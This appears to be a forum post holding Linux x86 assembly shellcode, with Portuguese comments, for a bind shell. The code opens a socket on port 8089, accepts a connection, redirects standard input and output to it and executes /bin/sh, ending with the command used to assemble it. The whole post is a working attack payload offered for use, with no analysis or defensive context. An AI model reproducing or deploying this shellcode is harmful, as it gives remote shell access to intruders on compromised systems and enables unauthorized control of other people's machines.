PHP-Code:
# Socket PortShellBind Shellcode
# ASM AT&T to Linux x86
# Writted By PseudoBacker
# SYSCALLS NUMBERS:
# socketcall ---> 0x66/102
# dup2 ---> 0x3F/63
# execve ---> 0x0b/11
# PROCEDIMENTOS:
#socketcall(socket,AF_INET,SOCK_STREAM,0);
#socketcall(Bind,Sock,hostAddr,sizeof(hostAddr);
#socketcall(listen,Sock,5);
#socketcall(accept,Sock,NULL,0);
#dup2 (newSocket,2);
#dup2 (newSocket,1);
#dup2 (newSocket,0);
#execve ("/bin/sh","sh",NULL);
.Section .text
.Global _start
_start:
#Sock = socket(2,1,0);
xor %eax,%eax
xor %ebx,%ebx
xor %ecx,%ecx
movb $0x66,%al #Syscall ID (socketcall) em eax
movb $0x1,%bl #Function ID (socket) em ebx
push %ecx #Montando
push $0x1 #Parametros
push $0x2 #Da funcao socket
movl %esp,%ecx #em ecx
int $0x80 #Chama Kernel
mov %eax,%esi #newSock retornado de socket() em esi
# hostAddr
#bind(Sock,[2,8089,0], 16);
xor %eax,%eax
xor %ebx,%ebx
xor %edx,%edx
movb $0x66,%al #Syscall ID (socketcall) em eax
movb $0x2,%bl #Function ID (bind) em ebx
push %edx #0x00
pushw $0x1F99 #8089
push $0x2 #2
movl %esp,%ecx #Salvando ^^
push $0x10 #sizeof(hostAddr);
push %ecx #(struct sockaddr *)&hostAdd
push %esi #Sock
movl %esp,%ecx #Salvando em ecx
int $0x80 #Chama Kernel
#listen(Sock,4);
xor %eax,%eax
xor %ebx,%ebx
movb $0x66,%al
movb $0x4,%bl
push $0x4
push %esi
movl %esp,%ecx
int $0x80
#newSock = accept(sock,0,0);
xor %eax,%eax
xor %ebx,%ebx
xor %edx,%edx
movb $0x66,%al
movb $0x5,%bl
push %edx
push %edx
push %esi
movl %esp,%ecx
int $0x80
#dup2(newSock,0);
#dup2(newSock,1);
#dup2(newSock,2);
movl %eax,%ebx
xor %eax,%eax
movb $0x3F,%al
xor %ecx,%ecx
int $0x80
movb $0x3F,%al
inc %ecx
int $0x80
movb $0x3F,%al
inc %ecx
int $0x80
#execve("/bin/sh","sh",NULL);
jmp getShell
execShell:
pop %esi
xorl %ebx,%ebx
movl %esi,%ebx
xorl %eax,%eax
push %eax
movl %esp,%esi
movl %esi,%edx
push %ebx
movl %esp,%ecx
movb $0x0b,%al
int $0x80
getShell:
call execShell
.string "/bin/sh"
tomycat@linux-a4gd:~/hack2> sudo as -o shell4.o shell4.s